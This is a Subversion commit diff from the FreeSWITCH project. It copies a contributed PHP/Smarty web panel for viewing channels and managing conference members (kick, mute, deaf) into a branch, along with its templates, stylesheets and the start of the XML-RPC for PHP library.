+        if(isset($_POST['memid']) && isset($_POST['conf'])) {
+            foreach($_POST['memid'] as $singleVar) {
+                $client=connect(findGateway($_POST['gateway']));
+                if($client->conferenceDeaf($_POST['conf'],$singleVar)) {
+                    $errors[]=$ERRMSG[DEAF_SUCCESS] . "$_POST[conf]:$singleVar";
+                } else {
+                    $errors[]=$ERRMSG[DEAF_FAIL] . "$_POST[conf]:$singleVar";
+                }
+            }
+        }
+        break;
+    case "undeaf":
+        if(isset($_POST['memid']) && isset($_POST['conf'])) {
+            foreach($_POST['memid'] as $singleVar) {
+                $client=connect(findGateway($_POST['gateway']));
+                if($client->conferenceUndeaf($_POST['conf'],$singleVar)) {
+                    $errors[]=$ERRMSG[UNDEAF_SUCCESS] . "$_POST[conf]:$singleVar";
+                } else {
+                    $errors[]=$ERRMSG[UNDEAF_FAIL] . "$_POST[conf]:$singleVar";
+                }
+            }
+        }
+        break;
+	}
+}
+
+
+
+foreach ($hosts as $i => $value) {
+    $client=connect($hosts[$i]);
+    //    $client->setDebug(2);
+    
+    $chanArray = array_merge($chanArray,$client->getChannels());
+    $ca = $client->conferenceList();
+
+    // we need to track the gateway so we can perform operations on the caller
+    foreach ($ca as $j => $value) {
+        $ca[$j][gateway] = $hosts[$i]['hostname'];
+    }
+    $confArray = array_merge($confArray,$ca);
+}
+
+// echo "<pre>".print_r($confArray,true)."</pre>";
+
+$smarty->assign('errors',$errors);
+$smarty->assign('channels',$chanArray);
+$smarty->assign('conferences',$confArray);
+
+
+$smarty->template_dir=$_SERVER['DOCUMENT_ROOT'].dirname($_SERVER['PHP_SELF'])."/themes/" . $language . "/";
+$smarty->display("index.tpl");
+?>

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/templates_c (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/templates_c)

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes)

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/channels.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/channels.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/channels.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/channels.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/channels.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+{if is_array($channels)}
+<table id="fstable" cellspacing="0" summary="Channel list">
+<caption>Channel List</caption>
+  <tr>
+    <th scope="col" abbr="UUID">UUID</th>
+    <th scope="col" abbr="Start">Start</th>
+    <th scope="col" abbr="From">From</th>
+    <th scope="col" abbr="To">To</th>
+    <th scope="col" abbr="Route">Route</th>
+  </tr>
+{section name=cnt loop=$channels}
+{strip}
+   <tr class="{cycle values="normal,alt"}">
+      <td>{$channels[cnt].uuid}</td>
+      <td>{$channels[cnt].created}</td>
+      <td>{$channels[cnt].cid_name} &lt;{$channels[cnt].cid_num}&gt;</td>
+      <td>{$channels[cnt].dest}</td>
+      <td>{$channels[cnt].name}</td>
+   </tr>
+{/strip}
+{/section}
+</table>
+<br/>
+{else}
+There are currently no channels active<br/>
+{/if}

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/conference.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/conference.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/conference.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/conference.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/conference.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+{section name=cnt loop=$conferences}
+  {strip}
+    <form method="post" action="{$smarty.server.PHP_SELF}">
+    <input type="hidden" name="conf" value="{$conferences[cnt].name}"/>
+    <input type="hidden" name="gateway" value="{$conferences[cnt].gateway}"/>
+    <table id="fstable" cellspacing="0" summary="Conference list">
+      <caption>{$conferences[cnt].title}</caption>
+      <tr>
+	<th scope="col" abbr=""></th>
+        <th scope="col" abbr="ID">ID</th>
+        <th scope="col" abbr="UUID">UUID</th>
+        <th scope="col" abbr="CLID">CLID</th>
+        <th scope="col" abbr="Flags">Flags</th>
+        <th scope="col" abbr="in/out/energy">in/out/energy</th>
+      </tr>
+      {section name=cnt2 loop=$conferences[cnt].sessions}
+        <tr class="{cycle values="normal,alt"}">
+	  <td><input type="checkbox" name="memid[]" value="{$conferences[cnt].sessions[cnt2].member_id}"/></td>
+          <td>{$conferences[cnt].sessions[cnt2].member_id}</td>
+          <td>{$conferences[cnt].sessions[cnt2].uuid}</td>
+          <td>{$conferences[cnt].sessions[cnt2].cid_name} &lt;{$conferences[cnt].sessions[cnt2].cid_num}&gt;</td>
+          <td>{$conferences[cnt].sessions[cnt2].flags}</td>
+          <td>{$conferences[cnt].sessions[cnt2].volume_in}/{$conferences[cnt].sessions[cnt2].volume_out}/{$conferences[cnt].sessions[cnt2].energy}</td>
+        </tr>
+      {/section}
+    </table>
+    <input class="submit" type="submit" name="action" value="kick">
+    <input class="submit" type="submit" name="action" value="mute">
+    <input class="submit" type="submit" name="action" value="unmute">
+    <input class="submit" type="submit" name="action" value="deaf">
+    <input class="submit" type="submit" name="action" value="undeaf">
+    </form>
+  {/strip}
+{sectionelse}
+There are currently no conferences active<br/>
+{/section}

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.inc

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.inc (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/errors.inc) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.inc	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.inc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?php
+$ERRMSG[KICK_SUCCESS] = "Success: kick";
+$ERRMSG[KICK_FAIL]    = "Fail: kick";
+$ERRMSG[MUTE_SUCCESS] = "Success: mute";
+$ERRMSG[MUTE_FAIL]    = "Fail: mute";
+$ERRMSG[UNMUTE_SUCCESS] = "Success: unmute";
+$ERRMSG[UNMUTE_FAIL]    = "Fail: unmute";
+$ERRMSG[DEAF_SUCCESS] = "Success: deaf";
+$ERRMSG[DEAF_FAIL]    = "Fail: deaf";
+$ERRMSG[UNDEAF_SUCCESS] = "Success: undeaf";
+$ERRMSG[UNDEAF_FAIL]    = "Fail: undeaf";
+?>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/errors.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/errors.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+{if is_array($errors)}
+<fieldset class="boxit"><legend>Errors</legend>
+{section name=cnt loop=$errors}
+{$errors[cnt]}<br/>
+{/section}
+</fieldset>
+<br/>
+{/if}

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/images (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/images)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/images/submit.gif

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/images/submit.gif (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/images/submit.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/index.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/index.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/index.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/index.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/index.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+<title>FreeSWITCH Information</title>
+<link href="themes/default/style.css" rel="stylesheet" type="text/css" />
+</head>
+
+<body>
+<a href="?hl=es">Español</a><br/>
+{include file='errors.tpl'}
+
+{include file='channels.tpl'}
+
+{include file='conference.tpl'}
+</body>
+</html>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/style.css

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/style.css (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/default/style.css) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/style.css	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/default/style.css	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,92 @@
+body {
+ font: normal 10px auto "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ color: #4f6b72;
+ background: #fff;
+}
+
+a {
+ color: #c75f3e;
+}
+
+#fstable {
+ width: 800px;
+ padding: 0;
+ margin: 0;
+}
+
+caption {
+ padding: 0 0 5px 0;
+ width: 800px;
+ font: bold 11px "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ text-align: center;
+ background: #CAE8EA;
+}
+
+th {
+ font: bold 11px "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ color: #4f6b72;
+ border-right: 1px solid #C1DAD7;
+ border-bottom: 1px solid #C1DAD7;
+ border-top: 1px solid #C1DAD7;
+ letter-spacing: 2px;
+ text-transform: uppercase;
+ text-align: left;
+ padding: 6px 6px 6px 12px;
+ background: #CAE8EA;
+}
+
+
+td {
+	border-right: 1px solid #C1DAD7;
+	border-bottom: 1px solid #C1DAD7;
+ padding: 6px 6px 6px 12px;
+}
+
+
+tr.alt {
+ background: #F5FAFA;
+ color: #797268;
+}
+tr.normal {
+ background: #E6EAE9;
+ color: #4f6b72;
+}
+
+
+
+input.submit {
+ vertical-align: middle;
+ font:0.9em "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ color:#666;
+ margin:0 0 20px 0;
+ height:20px;
+ border:solid 0px #fff;
+    
+ background: transparent url(images/submit.gif) no-repeat;
+ width: 47px;
+    
+ text-transform:uppercase;
+ outline: none;
+}
+
+input.submit:hover {
+ color: #f00;
+}
+
+
+
+.boxit {
+  width: 785px;
+  margin-left: 0px;
+  margin-right: 5px;
+  margin-top: 10px;
+  margin-bottom: 10px;
+  border: 1px solid #CAE8EA;
+}
+fieldset legend {
+  font-size: 1.7em;
+  color: #f00;
+  padding: 2px 6px;
+  padding-bottom: 0px;
+  margin: 0 0 10px 10px;
+}

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/channels.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/channels.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/channels.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/channels.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/channels.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+{if is_array($channels)}
+<table id="fstable" cellspacing="0" summary="Channel list">
+<caption>Channel List</caption>
+  <tr>
+    <th scope="col" abbr="UUID">UUID</th>
+    <th scope="col" abbr="Start">Comienzo</th>
+    <th scope="col" abbr="From">De</th>
+    <th scope="col" abbr="To">A</th>
+    <th scope="col" abbr="Route">Ruta</th>
+  </tr>
+{section name=cnt loop=$channels}
+{strip}
+   <tr class="{cycle values="normal,alt"}">
+      <td>{$channels[cnt].uuid}</td>
+      <td>{$channels[cnt].created}</td>
+      <td>{$channels[cnt].cid_name} &lt;{$channels[cnt].cid_num}&gt;</td>
+      <td>{$channels[cnt].dest}</td>
+      <td>{$channels[cnt].name}</td>
+   </tr>
+{/strip}
+{/section}
+</table>
+<br/>
+{else}
+There are currently no channels active<br/>
+{/if}

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/conference.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/conference.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/conference.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/conference.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/conference.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+{section name=cnt loop=$conferences}
+  {strip}
+    <form method="post" action="{$smarty.server.PHP_SELF}">
+    <input type="hidden" name="conf" value="{$conferences[cnt].name}"/>
+    <input type="hidden" name="gateway" value="{$conferences[cnt].gateway}"/>
+    <table id="fstable" cellspacing="0" summary="Conference list">
+      <caption>{$conferences[cnt].title}</caption>
+      <tr>
+	<th scope="col" abbr=""></th>
+        <th scope="col" abbr="ID">ID</th>
+        <th scope="col" abbr="UUID">UUID</th>
+        <th scope="col" abbr="CLID">CLID</th>
+        <th scope="col" abbr="Flags">Banderas</th>
+        <th scope="col" abbr="in/out/energy">en/fuera de/energía</th>
+      </tr>
+      {section name=cnt2 loop=$conferences[cnt].sessions}
+        <tr class="{cycle values="normal,alt"}">
+	  <td><input type="checkbox" name="memid[]" value="{$conferences[cnt].sessions[cnt2].member_id}"/></td>
+          <td>{$conferences[cnt].sessions[cnt2].member_id}</td>
+          <td>{$conferences[cnt].sessions[cnt2].uuid}</td>
+          <td>{$conferences[cnt].sessions[cnt2].cid_name} &lt;{$conferences[cnt].sessions[cnt2].cid_num}&gt;</td>
+          <td>{$conferences[cnt].sessions[cnt2].flags}</td>
+          <td>{$conferences[cnt].sessions[cnt2].volume_in}/{$conferences[cnt].sessions[cnt2].volume_out}/{$conferences[cnt].sessions[cnt2].energy}</td>
+        </tr>
+      {/section}
+    </table>
+    <input class="submit" type="submit" name="action" value="kick">
+    <input class="submit" type="submit" name="action" value="mute">
+    <input class="submit" type="submit" name="action" value="unmute">
+    <input class="submit" type="submit" name="action" value="deaf">
+    <input class="submit" type="submit" name="action" value="undeaf">
+    </form>
+  {/strip}
+{sectionelse}
+There are currently no conferences active<br/>
+{/section}
+

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.inc

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.inc (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/errors.inc) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.inc	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.inc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+<?php
+$ERRMSG[KICK_SUCCESS] = "Éxito: kick";
+$ERRMSG[KICK_FAIL]    = "Fall: kick";
+$ERRMSG[MUTE_SUCCESS] = "Éxito: mute";
+$ERRMSG[MUTE_FAIL]    = "Fall: mute";
+$ERRMSG[UNMUTE_SUCCESS] = "Éxito: unmute";
+$ERRMSG[UNMUTE_FAIL]    = "Fall: unmute";
+$ERRMSG[DEAF_SUCCESS] = "Éxito: deaf";
+$ERRMSG[DEAF_FAIL]    = "Fall: deaf";
+$ERRMSG[UNDEAF_SUCCESS] = "Éxito: undeaf";
+$ERRMSG[UNDEAF_FAIL]    = "Fall: undeaf";
+?>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/errors.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/errors.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+{if is_array($errors)}
+<fieldset class="boxit"><legend>Errors</legend>
+{section name=cnt loop=$errors}
+{$errors[cnt]}<br/>
+{/section}
+</fieldset>
+<br/>
+{/if}

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/images (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/images)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/images/submit.gif

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/images/submit.gif (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/images/submit.gif)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/index.tpl

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/index.tpl (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/index.tpl) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/index.tpl	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/index.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
+<title>FreeSWITCH Information</title>
+<link href="themes/default/style.css" rel="stylesheet" type="text/css" />
+</head>
+
+<body>
+<a href="?hl=en">English</a><br/>
+
+{include file='errors.tpl'}
+
+{include file='channels.tpl'}
+
+{include file='conference.tpl'}
+</body>
+</html>

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/style.css

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/style.css (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/themes/es/style.css) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/style.css	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/themes/es/style.css	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,92 @@
+body {
+ font: normal 10px auto "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ color: #4f6b72;
+ background: #fff;
+}
+
+a {
+ color: #c75f3e;
+}
+
+#fstable {
+ width: 800px;
+ padding: 0;
+ margin: 0;
+}
+
+caption {
+ padding: 0 0 5px 0;
+ width: 800px;
+ font: bold 11px "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ text-align: center;
+ background: #CAE8EA;
+}
+
+th {
+ font: bold 11px "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ color: #4f6b72;
+ border-right: 1px solid #C1DAD7;
+ border-bottom: 1px solid #C1DAD7;
+ border-top: 1px solid #C1DAD7;
+ letter-spacing: 2px;
+ text-transform: uppercase;
+ text-align: left;
+ padding: 6px 6px 6px 12px;
+ background: #CAE8EA;
+}
+
+
+td {
+	border-right: 1px solid #C1DAD7;
+	border-bottom: 1px solid #C1DAD7;
+ padding: 6px 6px 6px 12px;
+}
+
+
+tr.alt {
+ background: #F5FAFA;
+ color: #797268;
+}
+tr.normal {
+ background: #E6EAE9;
+ color: #4f6b72;
+}
+
+
+
+input.submit {
+ vertical-align: middle;
+ font:0.9em "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
+ color:#666;
+ margin:0 0 20px 0;
+ height:20px;
+ border:solid 0px #fff;
+    
+ background: transparent url(images/submit.gif) no-repeat;
+ width: 47px;
+    
+ text-transform:uppercase;
+ outline: none;
+}
+
+input.submit:hover {
+ color: #f00;
+}
+
+
+
+.boxit {
+  width: 785px;
+  margin-left: 0px;
+  margin-right: 5px;
+  margin-top: 10px;
+  margin-bottom: 10px;
+  border: 1px solid #CAE8EA;
+}
+fieldset legend {
+  font-size: 1.7em;
+  color: #f00;
+  padding: 2px 6px;
+  padding-bottom: 0px;
+  margin: 0 0 10px 10px;
+}

Deleted: freeswitch/branches/seven/contrib/trixter/xml-rpc/xmlrpc.inc

Copied: freeswitch/branches/seven/contrib/trixter/xml-rpc/xmlrpc.inc (from rev 14471, freeswitch/trunk/contrib/trixter/xml-rpc/xmlrpc.inc) (0 => 14472)


--- freeswitch/branches/seven/contrib/trixter/xml-rpc/xmlrpc.inc	                        (rev 0)
+++ freeswitch/branches/seven/contrib/trixter/xml-rpc/xmlrpc.inc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3566 @@
+<?php
+// by Edd Dumbill (C) 1999-2002
+// <edd@usefulinc.com>
+// $Id: xmlrpc.inc,v 1.150 2006/08/28 09:06:21 ggiunta Exp $
+
+// Copyright (c) 1999,2000,2002 Edd Dumbill.
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+//    * Redistributions of source code must retain the above copyright
+//      notice, this list of conditions and the following disclaimer.
+//
+//    * Redistributions in binary form must reproduce the above
+//      copyright notice, this list of conditions and the following
+//      disclaimer in the documentation and/or other materials provided
+//      with the distribution.
+//
+//    * Neither the name of the "XML-RPC for PHP" nor the names of its
+//      contributors may be used to endorse or promote products derived
+//      from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+	if(!function_exists('xml_parser_create'))
+	{
+		// For PHP 4 onward, XML functionality is always compiled-in on windows:
+		// no more need to dl-open it. It might have been compiled out on *nix...
+		if(strtoupper(substr(PHP_OS, 0, 3) != 'WIN'))
+		{
+			dl('xml.so');
+		}
+	}
+
+	// Try to be backward compat with php < 4.2 (are we not being nice ?)
+	$phpversion = phpversion();
+	if($phpversion[0] == '4' && $phpversion[2] < 2)
+	{
+		// give an opportunity to user to specify where to include other files from
+		if(!defined('PHP_XMLRPC_COMPAT_DIR'))
+		{
+			define('PHP_XMLRPC_COMPAT_DIR',dirname(__FILE__).'/compat/');
+		}
+		if($phpversion[2] == '0')
+		{
+			if($phpversion[4] < 6)
+			{
+				include(PHP_XMLRPC_COMPAT_DIR.'is_callable.php');
+			}
+			include(PHP_XMLRPC_COMPAT_DIR.'is_scalar.php');
+			include(PHP_XMLRPC_COMPAT_DIR.'array_key_exists.php');
+			include(PHP_XMLRPC_COMPAT_DIR.'version_compare.php');
+		}
+		include(PHP_XMLRPC_COMPAT_DIR.'var_export.php');
+		include(PHP_XMLRPC_COMPAT_DIR.'is_a.php');
+	}
+
+	// G. Giunta 2005/01/29: declare global these variables,
+	// so that xmlrpc.inc will work even if included from within a function
+	// Milosch: 2005/08/07 - explicitly request these via $GLOBALS where used.
+	$GLOBALS['xmlrpcI4']='i4';
+	$GLOBALS['xmlrpcInt']='int';
+	$GLOBALS['xmlrpcBoolean']='boolean';
+	$GLOBALS['xmlrpcDouble']='double';
+	$GLOBALS['xmlrpcString']='string';
+	$GLOBALS['xmlrpcDateTime']='dateTime.iso8601';
+	$GLOBALS['xmlrpcBase64']='base64';
+	$GLOBALS['xmlrpcArray']='array';
+	$GLOBALS['xmlrpcStruct']='struct';
+	$GLOBALS['xmlrpcValue']='undefined';
+
+	$GLOBALS['xmlrpcTypes']=array(
+		$GLOBALS['xmlrpcI4']       => 1,
+		$GLOBALS['xmlrpcInt']      => 1,
+		$GLOBALS['xmlrpcBoolean']  => 1,
+		$GLOBALS['xmlrpcString']   => 1,
+		$GLOBALS['xmlrpcDouble']   => 1,
+		$GLOBALS['xmlrpcDateTime'] => 1,
+		$GLOBALS['xmlrpcBase64']   => 1,
+		$GLOBALS['xmlrpcArray']    => 2,
+		$GLOBALS['xmlrpcStruct']   => 3
+	);
+
+	$GLOBALS['xmlrpc_valid_parents'] = array(
+		'VALUE' => array('MEMBER', 'DATA', 'PARAM', 'FAULT'),
+		'BOOLEAN' => array('VALUE'),
+		'I4' => array('VALUE'),
+		'INT' => array('VALUE'),
+		'STRING' => array('VALUE'),
+		'DOUBLE' => array('VALUE'),
+		'DATETIME.ISO8601' => array('VALUE'),
+		'BASE64' => array('VALUE'),
+		'MEMBER' => array('STRUCT'),
+		'NAME' => array('MEMBER'),
+		'DATA' => array('ARRAY'),
+		'ARRAY' => array('VALUE'),
+		'STRUCT' => array('VALUE'),
+		'PARAM' => array('PARAMS'),
+		'METHODNAME' => array('METHODCALL'),
+		'PARAMS' => array('METHODCALL', 'METHODRESPONSE'),
+		'FAULT' => array('METHODRESPONSE'),
+		'NIL' => array('VALUE') // only used when extension activated
+	);
+
+	// define extra types for supporting NULL (useful for json or <NIL/>)
+	$GLOBALS['xmlrpcNull']='null';
+	$GLOBALS['xmlrpcTypes']['null']=1;
+
+	// Not in use anymore since 2.0. Shall we remove it?
+	/// @deprecated
+	$GLOBALS['xmlEntities']=array(
+		'amp'  => '&',
+		'quot' => '"',
+		'lt'   => '<',
+		'gt'   => '>',
+		'apos' => "'"
+	);
+
+	// tables used for transcoding different charsets into us-ascii xml
+
+	$GLOBALS['xml_iso88591_Entities']=array();
+	$GLOBALS['xml_iso88591_Entities']['in'] = array();
+	$GLOBALS['xml_iso88591_Entities']['out'] = array();
+	for ($i = 0; $i < 32; $i++)
+	{
+		$GLOBALS['xml_iso88591_Entities']['in'][] = chr($i);
+		$GLOBALS['xml_iso88591_Entities']['out'][] = '&#'.$i.';';
+	}
+	for ($i = 160; $i < 256; $i++)
+	{
+		$GLOBALS['xml_iso88591_Entities']['in'][] = chr($i);
+		$GLOBALS['xml_iso88591_Entities']['out'][] = '&#'.$i.';';
+	}
+
+	/// @todo add to iso table the characters from cp_1252 range, i.e. 128 to 159.
+	/// These will NOT be present in true ISO-8859-1, but will save the unwary
+	/// windows user from sending junk.
+/*
+$cp1252_to_xmlent =
+  array(
+   '\x80'=>'&#x20AC;', '\x81'=>'?', '\x82'=>'&#x201A;', '\x83'=>'&#x0192;',
+   '\x84'=>'&#x201E;', '\x85'=>'&#x2026;', '\x86'=>'&#x2020;', \x87'=>'&#x2021;',
+   '\x88'=>'&#x02C6;', '\x89'=>'&#x2030;', '\x8A'=>'&#x0160;', '\x8B'=>'&#x2039;',
+   '\x8C'=>'&#x0152;', '\x8D'=>'?', '\x8E'=>'&#x017D;', '\x8F'=>'?',
+   '\x90'=>'?', '\x91'=>'&#x2018;', '\x92'=>'&#x2019;', '\x93'=>'&#x201C;',
+   '\x94'=>'&#x201D;', '\x95'=>'&#x2022;', '\x96'=>'&#x2013;', '\x97'=>'&#x2014;',
+   '\x98'=>'&#x02DC;', '\x99'=>'&#x2122;', '\x9A'=>'&#x0161;', '\x9B'=>'&#x203A;',
+   '\x9C'=>'&#x0153;', '\x9D'=>'?', '\x9E'=>'&#x017E;', '\x9F'=>'&#x0178;'
+  );
+*/
+
+	$GLOBALS['xmlrpcerr']['unknown_method']=1;
+	$GLOBALS['xmlrpcstr']['unknown_method']='Unknown method';
+	$GLOBALS['xmlrpcerr']['invalid_return']=2;
+	$GLOBALS['xmlrpcstr']['invalid_return']='Invalid return payload: enable debugging to examine incoming payload';
+	$GLOBALS['xmlrpcerr']['incorrect_params']=3;
+	$GLOBALS['xmlrpcstr']['incorrect_params']='Incorrect parameters passed to method';
+	$GLOBALS['xmlrpcerr']['introspect_unknown']=4;
+	$GLOBALS['xmlrpcstr']['introspect_unknown']="Can't introspect: method unknown";
+	$GLOBALS['xmlrpcerr']['http_error']=5;
+	$GLOBALS['xmlrpcstr']['http_error']="Didn't receive 200 OK from remote server.";
+	$GLOBALS['xmlrpcerr']['no_data']=6;
+	$GLOBALS['xmlrpcstr']['no_data']='No data received from server.';
+	$GLOBALS['xmlrpcerr']['no_ssl']=7;
